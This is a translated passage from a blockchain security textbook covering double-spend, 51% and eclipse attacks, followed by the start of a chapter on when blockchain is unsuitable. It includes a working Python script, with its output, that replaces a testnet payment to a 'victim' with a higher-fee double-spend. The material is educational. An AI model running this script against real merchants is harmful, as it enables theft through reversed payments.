双重支付攻击是指相同资金金额被重复或多次支出。纸币等实体货币不可能被重复支付,除非复制出一张重复的,这是很昂贵的。另一方面,数字货币可以很容易地被复制,而且没有任何成本,因为它们是以比特的形式复制和传输的。在 图 10.3 中,艾丽斯向所有朋友发送了价值 10 美元的数字货币。如果她的朋友们不知道其他交易,他们会相信他们每个 10 美元都是合法的:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10.3:艾丽斯的资金双重支付

双重支付是一个众所周知的问题,它曾经阻止了数字货币在去中心化网络中的使用。比特币是第一个对这个问题提出了实际解决方案的人。然而,仍然存在一些攻击可以利用区块链网络的一些漏洞来执行双重支付。竞态攻击、Finney 攻击、51%攻击和日食攻击是一些可以在去中心化网络中实现双重支付的攻击方式。它们都可以通过确保交易在区块链中深埋来避免。每次确认区块时,逆转交易的机会都会减少。这就是为什么比特币建议资金接收者至少应等待六次区块确认。

在去中心化网络中可以执行的最简单的攻击之一是竞态攻击。竞态攻击是一种零确认攻击,只能在交易被包含在区块之前执行。在这种攻击中创建了两个相互冲突的交易。一笔交易支付给受害者,第二笔交易将同样的资金支付给攻击者。竞态攻击是通过将第一笔交易只发送给受害者,然后将第二笔交易广播给其他网络来执行的。第二笔交易很可能会在原始交易之前进入一个区块,从而在获得验证的竞争中击败实际交易。在等待确认之前接受交易的商家可能成为这种攻击的受害者。在比特币中,这是安全与交易速度之间的权衡问题。之所以只有等待时间较长的区块链平台的用户才暴露于零确认攻击之中,就是因为它们要等待更长时间。

一些矿工根据交易费用优先处理交易。这种优先级也可以用于创建双花攻击。在本节中,我们将构建一个脚本来模拟比特币网络中的双花攻击,方法是优先处理交易。

比特币交易中的双花攻击

我们将使用一个名为 python-bitcoinlib 的 Python 包,该包包含一组库,提供了一个访问比特币数据结构并能够访问比特币客户端 API 的接口。它通过 RPC 接口调用比特币客户端的方法。

所需的所有函数和数据结构都从 bitcoin 模块中导入,如下所示:

from bitcoin import SelectParams 
import bitcoin.rpc 
import math 
import time 

from bitcoin.core import b2x, b2lx, str_money_value, COIN, 
CMutableTransaction, CMutableTxIn, CMutableTxOut 
from bitcoin.wallet import CBitcoinAddress 

选择链来创建连接。链可以是主网、测试网或 regtest。我们将在此模拟中使用比特币的测试网络。创建一个 RPC 连接对象以使用客户端 API:

SelectParams('testnet') 

rpc = bitcoin.rpc.Proxy() 

应通过运行 bitcoind 并带上 testnet 参数来创建一个比特币核心守护进程,以连接到测试网络区块链:bitcoind -daemon -testnet。有关比特币更多配置细节,请参阅第五章,加密货币

在创建交易之前声明了一些值。dust_amount 值是可以包含在交易中的最小交易输出值。如果输出值小于 dust_amount 值,矿工将拒绝交易。在下面的代码中,硬币的价值为 10⁸(1 亿,即 1 比特币中的 Satoshi 数)。声明了第一笔和第二笔交易的每字节交易费用。双花交易将具有较高的交易费以增加优先级:

dust_amount = int(0.0001 * COIN) 

feeperbyte1 = 0.000011 / 1000 * COIN 
feeperbyte2 = 0.001 / 1000 * COIN 

选择替换-by-FeeRBF)是比特币提供的一个选项,允许用不同的交易替换交易。一些矿工不允许交易在放入交易池后进行替换。通过选择小于 MAX-1 的序列号,可以标记可替换的交易:

optinrbf = True 
tx1_nSequence = 0xFFFFFFFF-2 if optinrbf else 0xFFFFFFFF 
tx2_nSequence = tx1_nSequence 

创建一个支付给受害者地址 n4Wux6bCxwFPvj7BYNb8REvtahhJ9fHJFv 的 0.1 比特币BTC)的付款。创建两个交易输出,一个值为 0.1,另一个是通过创建一个新地址支付的找零输出。找零最初设置为 0,直到选择了交易输入。在这个例子中,使用 CMutableTransactionCMutableTxOutCMutableTxIn 交易对象来创建交易、交易输出和交易输入,因为它们是可变的:

payment_address = CBitcoinAddress("n4Wux6bCxwFPvj7BYNb8REvtahhJ9fHJFv") 
payment_txout = CMutableTxOut(int(0.1 * COIN), 
payment_address.to_scriptPubKey()) 
change_txout = CMutableTxOut(0, 
rpc.getnewaddress().to_scriptPubKey()) 

tx = CMutableTransaction() 
tx.vout.append(change_txout) 
tx.vout.append(payment_txout) 

创建第一笔交易

通过选择未花费的交易来构建交易输入,这些交易将满足所需的交易价值(0.1 BTC)和交易费用。

代码中的while循环仅在创建足够的输入值以满足输出值和交易的最低交易费用之后终止。delta_fee表示满足交易费用所需的额外费用。如果delta_fee为正值,则从value_out中扣除delta_fee,否则将其添加:

value_in = 0 
value_out = sum([vout.nValue for vout in tx.vout]) 
unspent = sorted(rpc.listunspent(1), key=lambda x: x['amount']) 
while (value_in - value_out) / len(tx.serialize()) < feeperbyte1: 

    delta_fee = math.ceil((feeperbyte1 * len(tx.serialize())) - (value_in - value_out)) 

    if change_txout.nValue - delta_fee > dust_amount: 
        change_txout.nValue -= delta_fee 
        value_out -= delta_fee 

如果输入值小于输出值,则选择一个新的未花费交易输出进行花费。为新选择的未花费输出创建一个交易输入,并将金额添加到交易输出的找零中。每次更新scriptSig以更新交易大小时都要签署交易:

    if value_in - value_out < 0: 
        new_outpoint = unspent[-1]['outpoint'] 
        new_amount = unspent[-1]['amount'] 
        unspent = unspent[:-1] 

        print('Adding new input %s:%d with value %s BTC' % \ 
        (b2lx(new_outpoint.hash), new_outpoint.n, 
        str_money_value(new_amount))) 

        new_txin = CMutableTxIn(new_outpoint, nSequence=tx1_nSequence)
         tx.vin.append(new_txin) 

        value_in += new_amount 
        change_txout.nValue += new_amount 
        value_out += new_amount 

        r = rpc.signrawtransaction(tx) 
        assert(r['complete']) 

        tx.vin[-1].scriptSig = r['tx'].vin[-1].scriptSig 

在将交易发送到网络之前,交易最终再次签名。在竞争攻击中,此交易理想情况下仅发送给受害节点。在本示例中,我们已广播了交易,因为我们将通过为双重花费交易创建更高的优先级来替换此交易:

r = rpc.signrawtransaction(tx) 
assert(r['complete']) 
tx = CMutableTransaction.from_tx(r['tx']) 

print('Payment raw transaction %s' % b2x(tx.serialize())) 
print('Payment raw transaction size: %.3f KB, fees: %s, %s BTC/KB' % \ 
             (len(tx.serialize()) / 1000, 
              str_money_value(value_in-value_out), 
              str_money_value((value_in-value_out) / len(tx.serialize()) * 1000))) 

txid = rpc.sendrawtransaction(tx) 
print('Sent payment with txid: %s' % b2lx(txid)) 

创建双重花费交易

可双重花费的交易是具有与第一笔交易相同价值但收件人地址不同的交易。通过将整个资金退还给攻击者来撤销资金转移。除了携带找零的交易输出之外,所有交易输出都从交易中移除。由于找零交易输出寄向攻击者,因此整个资金价值被分配给此输出交易。

与之前相同的过程用于计算整个交易的费用。在计算交易费用时,使用更高的每字节交易费,即feeperbyte2

tx.vout = tx.vout[0:1] 
change_txout = tx.vout[0] 
value_out = value_in 
change_txout.nValue = value_out 

while (value_in - value_out) / len(tx.serialize()) < feeperbyte2: 
    delta_fee = math.ceil((feeperbyte2 * len(tx.serialize())) - (value_in - value_out)) 

    if change_txout.nValue - delta_fee > dust_amount: 
        change_txout.nValue -= delta_fee 
        value_out -= delta_fee 

    if value_in - value_out < 0: 
        new_outpoint = unspent[-1]['outpoint'] 
        new_amount = unspent[-1]['amount'] 
        unspent = unspent[:-1] 

        print('Adding new input %s:%d with value %s BTC' % \
         (b2lx(new_outpoint.hash), new_outpoint.n,
         str_money_value(new_amount))) 

        new_txin = CMutableTxIn(new_outpoint, nSequence=tx2_nSequence) 
        tx.vin.append(new_txin) 

        value_in += new_amount 
        change_txout.nValue += new_amount 
        value_out += new_amount 

        r = rpc.signrawtransaction(tx) 
        assert(r['complete']) 
        tx.vin[-1].scriptSig = r['tx'].vin[-1].scriptSig 

一旦将所有交易输入添加到交易中,交易将被签名并广播到网络:

r = rpc.signrawtransaction(tx) 
assert(r['complete']) 
tx = r['tx'] 

print('Double-spend raw transaction %s' % b2x(tx.serialize())) 
print('Double-spend raw transaction size: %.3f KB, fees: %s, %s BTC/KB' % \ 
            (len(tx.serialize()) / 1000,
              str_money_value(value_in-value_out),
              str_money_value((value_in-value_out) / len(tx.serialize()) * 1000))) 

txid = rpc.sendrawtransaction(tx) 
print('Sent double-spend txid: %s' % b2lx(txid)) 

为了双重花费而创建的交易将包括一个单一的交易输出,寄向攻击者。由于较高的交易费用,此交易将取代之前创建的交易。以下是两笔交易的原始交易和交易 ID 的输出:

Adding new input 727ae80da7fc81db0304af0324907cb28d32666a6cc8a5813021ec8350a8e05f:0 
with value 0.799808 BTC 
Payment raw transaction 
01000000015fe0a85083ec213081a5c86c6a66328db27c902403af0403db81fca70de87... 
Payment raw transaction size: 0.225 KB, fees: 0.00000249, 0.00001106 BTC/KB 
Sent payment with txid: f52961ddb5881c4f5a10ca3625c978997ed46dd03da0787acb8f26e36e5e686f 

Waiting for 2 seconds before double spending 
Double-spend raw transaction 
01000000015fe0a85083ec213081a5c86c6a66328db27c902403af0403db81fca70de87... 
Double-spend raw transaction size: 0.191 KB, fees: 0.000191, 
0.00099479 BTC/KB 
Sent double-spend txid: 
8660fc74668ea2e1fe32d2381c8f6b2512e4418677b63cecab8d7f66b5a162a4 

第一笔交易将存储在所有节点的交易池中,然后才广播第二笔交易。在等待两秒后创建并广播第二笔交易。图 10.4显示了第一笔交易的信息。0.1 BTC 支付给受害者的地址,其余支付返回给攻击者的地址:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10.4:第一笔交易的交易详情(来源:blockchain.info

这第一笔交易仅在网络中可用几秒钟。一旦第二笔交易到达节点,它将被替换在交易池中。图 10.5显示了替换初始未确认交易的交易的信息。此交易仅有一个交易输出,将全部资金支付给攻击者。一旦该交易被包含在区块中,该交易就成功完成了双花攻击。当图 10.5中的交易得到确认时,它会双花相同的资金:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10.5:双花交易的交易详情(来源:blockchain.info

许多商家通过等待一定数量的区块确认或拒绝可替换的交易(可选 RBF)来避免双花攻击。但是一些比特币商家仍然接受未确认的交易。这样的实体很容易受到类似的双花攻击。

背景阅读:本节中使用的双花示例受 Peter Todd 项目启发。有关双花攻击的更多信息,请参阅github.com/petertodd/replace-by-fee-tools上的该项目。

51% 攻击

如果网络中的参与者能够控制超过 50% 的资源以达成创建区块的共识,那么该参与者可以操纵区块创建机制。51% 攻击可以在任何共识算法上执行,但通常用于基于工作量证明的区块链网络。

在基于 PoW 的网络中,如果一个不诚实的参与者能够控制大多数,即网络中超过 50% 的计算资源,那么不诚实节点可以操纵区块创建过程。与 51% 攻击相关的可行性信息也在比特币白皮书中由中本聪提到。

攻击的影响

当一个节点控制网络大多数的计算能力时,它比网络中其他节点更有可能创建新的区块。当攻击者掌握大多数计算能力时,攻击者可以对交易的排序、包含和排除进行一些控制。这并不意味着攻击者可以在区块链中插入无效交易。由于网络中的所有节点都验证包含在区块链中的交易,无效交易将被其他网络节点检测到并且区块将被丢弃。攻击者将能够在区块链中引起以下复杂情况:

  • 推迟一些或所有有效交易的确认。

  • 阻止其他矿工挖掘有效的区块。

攻击者将无法引起以下任何复杂情况:

  • 从其他账户中窃取或误放交易

  • 延迟有效交易的广播

以上观点证明,即使攻击者控制了大部分计算,也几乎没有机会损坏区块链上的信息。攻击者通过多次花费来操纵其交易才能从这次攻击中获利。这是去中心化网络的经典攻击方式,即双重支付攻击,正如我们在本章前面看到的那样。双重支付攻击基本上就是在区块链上反转交易以两次花费相同的金额。由于区块的创建受到攻击者的控制,交易容易被反转。即使进行了几次双重支付,攻击者的利润可能也不会很高,但他们可以通过在很多账户上进行双重支付交易,从热钱包(如交易所)中盗取私钥来利用这种攻击。虽然同时进行攻击是不可行的,但并非不可能。

控制网络的大部分计算能力与对攻击获得的利润相比是非常昂贵的。因此,以诚实的方式行事并从有效区块创建中获得奖励通常比为了小额利润而操纵交易更有利。但是,51%的攻击可能是由某些人为了不同的原因而不是为了获利而执行的,他们的目的是打败共识系统。

一些弹性平台,如比特币、以太坊和莱特币,不易受到这些攻击。对于网络的大部分计算份额可以轻松购买的较小的货币来说,更容易受到攻击。表 10*.1* 比较了几种基于 PoW 的加密货币网络的攻击成本:

名称算法哈希率(每秒哈希数)1 小时攻击成本
比特币SHA-25645,208 PH/s$745,462
以太坊Ethash241 TH/s$325,102
莱特币Scrypt280 TH/s$50,877
ZenCashEquihash95 MH/s$5,999
比特币私密Equihash4 MH/s$270

表 10.1:比较基于 PoW 的各种加密货币网络的攻击成本

注意:每秒哈希数是用来确定区块链节点的哈希率的单位。在表 10.1中,每秒拍哈希PH/s)、每秒太哈希TH/s)和每秒兆哈希用于衡量哈希率。

表 10.1 显示,比特币、以太坊和莱特币等需要较高的哈希率(难度)来计算 PoW 哈希难题的货币比 ZenCash 或比特币私密等低哈希率网络更难攻击。

尽管执行此类攻击在实践上是不可行的,但有几次对小型加密货币网络进行了此类攻击。在 2018 年初,比特币核心项目的一个分叉比特币黄金遭受了一次双花攻击,试图从交易所中窃取资金,攻击者控制了大部分哈希算力后进行了攻击。Verge 和 MonaCoin 是其他货币,其区块链网络在 51%攻击中受到了损害。

避免攻击

避免 51%攻击的双花的最佳方法是增加等待时间。等待时间越长,双花的可能性就越小。随着时间的推移,交易将被埋在区块链中,使得难以撤销交易。这可以通过在交易包含在一个区块之后等待特定数量的区块插入(确认)来确保。每个区块链平台都有其自己建议的确认数。比特币建议的区块确认数为 6,这意味着在交易被包含在一个区块之后大约需要等待 60 分钟的时间。

日食攻击

至此,我们已经探讨了对区块链网络共识的可能攻击。但是,由于打败使用点对点协议工作的去中心化网络的难度,网络攻击大多被忽视了。这并不意味着点对点网络的攻击是不可能的。在日食攻击中,攻击者将节点从网络中隔离开来。攻击者确保节点不会与区块链网络通信。节点在被攻击后将相信完全不同于网络其余部分的真相。通常,日食攻击是针对高调的区块链节点(如矿工或商家)进行的。

日食攻击是计算机安全研究人员 Ethan Heilman、Alison Kendler、Aviv Zohar 和 Sharon Goldberg 于 2015 年提出的。他们发表了一篇题为《比特币点对点网络的日食攻击》的 Usenix 安全论文。该论文解释了对比特币点对点网络的攻击可能性。尽管攻击主要集中在比特币上,但它也可以在另一个区块链平台的点对点网络上执行。另一篇题为《以太坊点对点网络的低资源日食攻击》的论文于 2018 年发表,分析了在以太坊网络中进行日食攻击的可行性。我们将根据这些论文中的第一篇来详细了解日食攻击的细节。

在区块链网络中,节点使用一种传播协议来建立初始连接并交换信息。每个节点都是通过与连接的节点学习网络中的其他节点的。在日食攻击中,攻击者通过不传播有关其他节点的信息来防止受害者了解到网络的其他部分。如图 10.6所示,攻击者节点直接连接到受害者节点。该攻击看起来类似于在集中式网络中客户端和服务器之间执行的中间人攻击。我们将假设攻击发生在比特币的 PoW 生态系统中,以便在接下来的章节中理解和分析日食攻击:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10.6: 日食攻击中攻击者的位置

使节点日食

Bitcoin 节点最多可以有 8 个输出连接和 117 个输入连接。由于对于输出连接数量有限制,攻击者可以强迫受害者只与攻击者创建的恶意节点建立连接:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10.7: 对等网络中具有输出和输入连接的比特币节点

这在理论上看起来可能很容易;然而,强迫受害者只与恶意节点创建连接需要的不止是单步攻击。攻击者必须了解并操纵受害者的连接信息,以操纵用户的输出连接。比特币节点将输出连接信息存储在对等表中。对等表被组织为地址的存储桶。将这些存储桶填满攻击者的 IP 地址是该攻击的构想。攻击者将利用比特币核心中的几种漏洞来实现这一点。一旦对等表被填满了攻击者的节点信息,节点在重启后将只会尝试连接到攻击者的节点。

Bitcoin 有两组不同的存储对等节点信息的存储桶:一组是新的存储桶,另一组是已连接的存储桶。新存储桶包括新可用对等节点的地址,而已连接的存储桶则存储已经连接的对等节点的地址。当一个节点首次连接到对等节点时,它会将对等节点的信息和时间戳添加到已连接的存储桶中。连接的对等节点会将已知的对等节点信息传递给节点,然后节点将这些信息存储在新存储桶中。当节点连接到攻击者的设备时,它会发送关于恶意节点的信息,以便节点将这些地址存储在新存储桶中。

当节点成功建立新连接时,它会将 IP 地址添加到 256 个已尝试的桶之一。它会随机选择一个桶,但根据网络 ID 和完整的 IP 地址随机化选择。这在将 IP 地址添加到新桶的情况下也是一样的。可以利用比特币节点的各种漏洞来确保桶中大部分地址都是攻击者的地址。在 漏洞和对策 部分指出了比特币节点的几个漏洞。

攻击的含义和分析

由于日蚀攻击是在网络层进行的,它也可能破坏共识层的安全性。当节点的点对点协议受到损害时,任何对共识层的攻击都可能更有效。当进行日蚀攻击时,可能在没有攻击者拥有多数算力的情况下进行 51% 攻击,或者在几次区块确认后仍能进行双重支付攻击。

攻击者可以在即使经过了多次确认后也进行双重支付攻击,只需遮蔽一部分矿工和受害节点。攻击者可以花费资金并将其转发给被遮蔽的矿工。当矿工将其包含在一个区块中,攻击者将这个区块链展示给受害节点。受害者在看到已确认的交易后确信无疑。攻击者还会转发一个交易以双重支付相同的资金。当攻击者完成从受害者处的购买后,他们会向被遮蔽的矿工和受害者揭示实际的区块链,从而使他们的区块链无效。

图 10.8 中进行了双重支付攻击。攻击者遮蔽了一个控制 30% 算力的矿工和受害者。攻击者花费资金并将交易发送给被遮蔽的矿工。

被遮蔽的受害者只看到区块链的这个版本。攻击者然后花费相同的资金并创建一个交易,这个交易被网络的其他部分看到。由于这个网络控制了大部分(70%)的算力,它会创建一个更长的区块链,使得被遮蔽的矿工的区块链变得无效:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10.8:通过遮蔽受害节点进行双重支付攻击

如果攻击者是一名矿工,即使不拥有网络计算能力的 51%,也可以发起 51%攻击。这可以通过阻止诚实的矿工控制大部分计算能力来实现。攻击者可以让少数矿工与网络剩余部分隔离,这将防止矿工在彼此创建的区块上构建区块。这将阻止诚实矿工拥有创建区块的大部分计算能力。这将增加拥有少于 51%挖矿能力的攻击者发起 51%攻击的几率。图 10.9显示,拥有 40%挖矿能力的攻击者隔离了两名分别只控制网络 30%挖矿能力的矿工。现在攻击者拥有大多数挖矿能力,他们有更大的机会获得比其他被隔离彼此的矿工更长的区块链。不知晓网络其余部分的每名矿工将继续构建自己的区块链版本。攻击者可以随时向网络发布他们的区块链,使其他版本的区块链变得过时:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10.9: 拥有少于 50%的挖矿能力的 51%攻击

尽管日食攻击可能看起来不太现实,但实际上并非如此。借助僵尸网络的巧妙攻击可以轻易地威胁到没有实施额外网络安全层的节点。发表的论文比特币点对点网络上的日食攻击解释了在不同场景下发生日食攻击的机会。使用僵尸网络进行的实验得出了以下结果:

  • 通过使用诚实节点地址填充尝试桶槽位,创造了最坏情况的场景。使用总共 4600 个 IP 地址进行了为时 5 小时的攻击。尽管尝试桶槽位最初大部分都填满诚实节点的地址,但攻击后 98.8%的地址都被攻击者的地址所取代。此次攻击的成功率达到 100%。

  • 对只填满 7%尝试地址槽位中有合法地址的实时比特币节点进行了攻击。通过使用 400 个 IP 地址进行的攻击模拟,并且只花费了 1 小时进行攻击。攻击后,尝试表中大约 57%的地址都是攻击者的地址。此次攻击成功率达到 84%。

漏洞和对策

攻击者必须利用一些漏洞来用自己的地址替换合法对等节点的地址。可以利用比特币节点中的一些漏洞,例如:

  • 节点从尝试桶中选择最近时间戳的 IP 地址,这增加了攻击者的被选择概率,即使攻击者仅占有尝试桶地址的一小部分。通过增加攻击时间,攻击者可以增加成功的几率。

  • 每当一个地址桶被填满时,其中一个地址会被随机删除。由于被删除的地址是随机的,如果攻击者的 IP 地址被从桶中移除,它可以通过反复发送到节点来最终插入。

攻击者可以利用上述提到的漏洞。然而,通过改变比特币节点与对等节点交换信息时的行为,可以避免这些漏洞:

  • 从已尝试的表中选择 IP 地址可以随机化,这将减少选择攻击者节点的机会,即使最近连接过也是如此。如果对等节点选择是随机的,即使攻击者投入了大量时间进行攻击,也将无法成功。

  • 如果使用确定性方法将对等节点的地址插入到固定槽中,那么在从桶中驱逐后,将减少将攻击者地址插入到不同槽的机会。确定性插入将确保地址的重复插入不会为攻击增加任何价值。

大多数比特币中的漏洞都已经被修复。但是由于公共区块链网络和大多数基于区块链的组织遵循的开源文化,攻击者会很快发现漏洞。

量子计算的威胁

量子计算是处理量子理论的计算领域。我们知道,任何计算的每一个结果都以 0 和 1 表示,称为比特。另一方面,量子计算使用量子比特(Qubits)而不是比特,它同时展示了几种状态,而不是互斥的。这种技术进步可能会极大地影响现有计算系统的性能。

量子计算获得的性能优势可以用于解决复杂的计算问题,包括只能通过暴力攻击破解的密码算法。我们已经知道,区块链技术借助密码原语实现了大多数功能。散列和非对称加密是区块链技术中使用的两种主要原语,如 第二章 密码的一点知识 中所讨论的。

哈希原语是共识算法 - PoW 的哈希难题的支柱。解决哈希难题涉及的困难使得区块链具有不可变性。如果量子计算能够提供更快的暴力破解方法来计算哈希或破坏一些现有哈希算法的单向属性,那么即使没有执行任何前面提到的攻击,公共账本也可能很容易被破坏。但是,PoW-based blockchain 网络的不断增长的难度,特别是比特币,至少在未来几年内防止了对共识算法的任何威胁。

在区块链应用中广泛使用了使用非对称加密的数字签名。量子计算可能对非对称加密构成巨大威胁,因为私钥可以从公钥计算出来。由于整个互联网安全都依赖于非对称或对称加密,因此这种威胁不仅限于区块链技术。数字签名和加密技术将随着时间的推移而发展,以应对量子计算的威胁。

量子计算的威胁是真实存在的,许多团体一直在努力解决对区块链技术可能产生的任何威胁。NEO 区块链承诺提供一种量子安全(NeoQS)的加密机制,该机制使用基于格的加密机制。量子计算也激发了许多社区涉足非区块链解决方案,如 Hashgraph 和 DAG。很明显,量子计算将对区块链技术构成一定威胁,但可能不会在近期。随着时间的推移,区块链技术将不断演进,以确保在面临量子计算威胁时的安全性。

摘要

本章探讨了区块链技术的各种安全方面。我们在本章开头介绍了该技术的一些安全模型。还讨论了由交易所和矿池引起的中心化问题。我们对区块链网络上的各种攻击类型进行了涵盖,例如双重支付攻击、51%攻击和日食攻击,并进行了一些深入分析。总的来说,我们介绍了如何安全地设计和部署区块链平台。

在下一章中,我们将探讨区块链技术在大多数用例中被错误夸大的实施,并分析为什么区块链技术对大多数这些应用程序都没有增加价值。

第十一章:什么时候不应该使用区块链?

到目前为止,在本书中,我们已经学习了许多区块链概念,以了解区块链的基本功能。在前几章中,我们也深入研究了技术,以便熟悉去中心化应用程序。然而,由于我们正在研究可以帮助我们在去中心化网络中构建应用程序的区块链技术的基础,因此重要的是我们问自己一个问题,为什么要使用区块链? 只有在用例需要区块链的特性时,才有用处使用区块链。

在本章中,我们将探讨区块链的特点,并分析它们如何影响区块链用例的实施。我们还将研究一些用于分析区块链用例的框架。

本章中,我们将涵盖以下主题:

  • 分布式数据库与**分布式分类账技术(DLT)**的区别

  • 在区块链上存储什么

  • 集中化与去中心化架构的差异

  • 区块链的特性

  • 我们可以用来评估用例的框架

区块链是一种不断演进的技术,由热衷者在各种可能的用例中不断实施。区块链的一些特点吸引了许多社区的关注,他们决定在去中心化网络中构建自己的应用程序。除此之外,众多区块链平台的可用性推动了对该技术的吸引力。一些研究人员、爱好者甚至企业已经开始在去中心化网络中构建应用程序。其中一些人提出了新的解决方案,而其他人则试图用传统的解决方案解决问题。

但并非所有提出的区块链解决方案都一定可接受;事实上,其中许多是在错误的方向上不必要地去中心化应用程序。在采用区块链之前了解区块链能提供什么是很重要的。

区块链提供了许多功能,促进了无信任网络的构建。然而,它也有自己的一套限制。AngelList 的联合创始人之一、也在 2017 年 CoinDesk 区块链最具影响力人物榜单上的 Naval Ravikant 在一次采访中说:“区块链非常低效,只有在需要去中心化时才值得支付成本,但在不需要时则不值得”,他指出了区块链技术被用来构建应用程序而没有经过适当评估的担忧。由于缺乏区块链的普遍接受定义,大多数此类项目都是错误的。

尽管我们对区块链技术有很深的了解,但在进行任何区块链项目之前,我们需要了解和衡量几个参数。有几种评估模型将证明使用分散的区块链而不是传统的集中式系统。在本章中,我们将研究一些参数以及能够帮助我们回答“何时不应该使用区块链?”的评估策略。

分布式数据库与分布式分类账技术(DLT)

当我们考虑实施区块链时,第一个冒出来的问题是,“区块链动力分类账技术与传统数据库有何不同?”传统数据库是集中式的,而大多数区块链平台使用数据库在每个节点上本地存储交易。因此,实际的比较应该是由区块链驱动的 DLT 与分布式数据库之间的比较,这将是我们在本节中重点关注的。

尽管在分布式数据库的情况下数据库是分布式的,但仍然涉及中心化,因为数据库由中央受信任的实体管理,而 DLT 中的分类账由网络中的不可信节点维护。因此,分布式数据库不能保证去中心化,仍然提倡具有受信任的权威的集中式架构。架构差异清晰地描绘在图 11.1中。

正在试图将区块链作为存储技术采用的业务用例必须了解每种存储技术的优势和缺点。区块链具有一系列特性,这些特性可能有利于或不利于使用案例。我们将指出一些基于区块链的 DLT 的特性,这将有助于我们分析技术在讨论的任何用例中的适用性:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.1:数据库与 DLT 架构的对比

信息的去中心化控制

DLT 通过实现数据跨信任边界共享,去中心化信息控制。传统数据库通常由实体控制,无法轻易与其他不受信任的实体共享。在每个实体数据库中共享信息的一种方法是通过中间人。每个实体将与另一个实体通信所需的信息共享;这将通过每个人信任的中央管理机构完成。图 11.2 显示了四个实体通过中介数据库进行通信以获取和发送可共享的信息:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.2:不受信任的实体通过中间人数据库共享数据

另一方面,DLT 的去中心化使得每个实体都可以共享数据,而区块链将维护所有信息,并得到网络中每个节点的信任。每个实体都可以验证区块链上的数据,并确保信息未经修改,而无需中央值得信任的机构。每个实体将维护共享信息的副本,这些信息在网络中进行同步,如图 11.3所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11.3:无需中间人,信任实体相互共享数据

DLT 所实现的去中心化有助于共享信息而无需依赖中央实体。摆脱对中央数据库的依赖有助于消除维护它所涉及的所有流程。这些流程可能包括雇佣员工来设置基础设施、审计、备份、迁移等。DLT 消除了对人类组织的依赖,创建了一个完全去中心化的自治组织。总之,当信息需要跨越信任边界共享时,去中心化是完全合理的。

信息的机密性

由中央实体管理的数据库通过建立认证和授权机制来维护信息的机密性。只有经过认证并被授权访问资源的用户才能对该信息执行操作。

使用加密技术增强数据库的数据安全性,以便即使数据库被入侵,机密性也得以保持。

公开账本(DLT)是可被任何人在未经认证的情况下访问的公共分类账。完全无需许可的 DLT 不强制访问控制,数据将对网络中的每个人开放。以交易形式存在的数据必须在去中心化网络中是透明的,以便每个节点都能验证它们。区块链上存储的数据的开放性是去中心化成为可能的原因。比特币或任何其他公共区块链平台(如以太坊)提供了内嵌在区块中的交易的完全透明性。由于在区块链网络中创建的身份没有与真实世界的身份映射在一起,参与者即使交易是公开的,也可以匿名。但这可能不适合需要完全或部分隐私的用例。

一些高级技术,如零知识证明zk-SNARKS)或加密,可用于保护用户的隐私。支付通道,如第九章中讨论的闪电网络区块链优化和增强,可以用于将只有期望的交易提交到区块链,同时在链下执行其余交易。还有其他解决方案,如将状态变更存储在安全保险库中,并仅在区块链中存储参考地址。安全保险库中的资源只能被授权实体访问。

DLTs 提供了保护实体隐私的解决方案。然而,这些解决方案会使实施变得复杂且低效。所提出的解决方案将违反 DLT 的原则。因此,任何隐私是主要关注的用例都最好使用传统数据库来存储信息。

健壮性

DLTs 由于技术的去中心化性质而将受到公众的严重关注。DLTs 越暴露于公共网络,就越具有弹性。账本实现的不可变性确保了信息不易被入侵者篡改。去中心化有助于在网络上实现信息的冗余,这将确保一个容错系统。系统的整体健康状况不依赖于任何特定的实体,这将使系统更加健壮。

传统数据库可以复制和分区。复制数据库记录将使数据库具有容错能力。复制策略并不是大多数数据库的固有特性。虽然分布式数据库系统会在几个节点中复制记录,但它们并不像 DLT 那样去中心化。

网络中的节点之间将存在延迟和同步问题。因此,它们不像 DLTs 那样具有容错性,并且需要为数据库采用灾难恢复机制,尤其是那些集中式的数据库。基于区块链的 DLT 是在用例需要实现容错和健壮系统时存储记录的首选选择。

性能

我们在前一节中得出结论,DLTs 比传统数据库更加健壮。但这种容错系统的成本是性能降低。我们已经遇到了区块链技术面临的可扩展性问题。这是由于需要验证和其他共识机制才能实现去中心化。比特币使用工作量证明PoW)算法来实现共识,这限制了区块创建时间为 10 分钟。这将限制交易添加到区块链的速率。数据库在插入记录时没有任何限制。在数据库表中创建记录比在区块链中插入交易要快得多。

几个区块链平台都有解决方案来提高交易速度。然而,它们无法达到传统数据库所达到的性能水平。数据库可以通过为特定应用选择特定类型的数据库来实现更高的性能。关系数据库以及各种非关系数据库,如键值存储、表格数据库和图形数据库,可以根据应用的需求使用。此外,数据库可以通过使用内存存储技术来增加读操作的性能。

数据库非常适合实现高交易吞吐量。当一个用例需要快速读写操作时,数据库应该是首选的技术选择。

我们可以在区块链上存储什么?

我们之前将区块链与数据库进行了比较,并分析了它们的各自属性,以评估它们作为存储机制的适用性,然后选择了其中一个。我们假设区块链可以存储与可以插入数据库中的类似信息。尽管可以将任何数据插入区块链,但它不是静态数据的首选存储机制。在本节中,我们将列出在区块链上存储数据的一些约束。

将数据存储为交易

区块链上的数据以称为交易的原子事件的形式存储。在比特币等加密货币中,交易包含帮助转移资产的脚本。但它们也可以包含诸如充当智能合约的可执行程序等任意信息。交易还应确保具有一组经过优化的指令,这些指令将决定区块链的当前状态。

存储最小数据

尽管可以在区块链交易中存储任意信息,但不建议在区块链上存储大量数据。区块链不是分散式存储解决方案。还有其他几种分布式文件共享协议,例如 IPFS,更适合存储超媒体。

由于交易费是根据交易中数据的大小计算的,所以您应该尽量保持交易的大小足够小,以完成任务。

存储需要最小更改的数据

